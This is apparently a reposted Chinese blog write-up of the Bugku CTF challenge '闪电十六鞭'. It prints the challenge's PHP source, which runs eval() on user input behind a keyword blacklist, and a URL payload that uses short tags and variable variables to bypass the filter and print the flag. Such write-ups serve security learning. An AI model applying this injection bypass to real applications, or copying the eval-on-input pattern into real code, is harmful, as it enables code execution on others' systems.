二十八、bugku 闪电十六鞭
2021/9/5 23:39:22
本文主要是介绍二十八、bugku 闪电十六鞭,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
php字符对照
"="
<?php error_reporting(0); require __DIR__.'/flag.php'; $exam = 'return\''.sha1(time()).'\';'; if (!isset($_GET['flag'])) { echo '<a href="./?flag='.$exam.'">Click here</a>'; } else if (strlen($_GET['flag']) != strlen($exam)) { echo '长度不允许'; } else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) { echo '关键字不允许'; } else if (eval($_GET['flag']) === sha1($flag)) { echo $flag; } else { echo '马老师发生甚么事了'; } echo '<hr>'; highlight_file(__FILE__);
?flag=return%27d80d94ea3543f3677e904dd762dc613b764cb262%27;
<?=flag;?>?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111
使用短标签可以构造出echo:
<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>当你发现你的PHP不支持使用短标签,请到PHP的安装目录下找到php.ini文件,去改。
在PHP中,大括号“{}”可以起到如下作用:
将多个独立语句合并为一个复合语句,例如 if … else …中经常如此使用
在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}
与${$my_var}[8]
的区分
用于指示字符串变量中的单个字符(下标从0开始)。
这篇关于二十八、bugku 闪电十六鞭的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-29DataGrip使用ssh连接数据库的操作流程
- 2024-05-28SpringBoot3.2更新声明!
- 2024-05-28中外程序员到底有啥区别?
- 2024-05-25外企也半夜发布上线吗?
- 2024-05-24鸿蒙原生应用再新丁!芒果TV 入局鸿蒙
- 2024-05-22基本概念
- 2024-05-22检索数据
- 2024-05-22排序数据
- 2024-05-22基础过滤数据
- 2024-05-22通过逻辑操作符过滤数据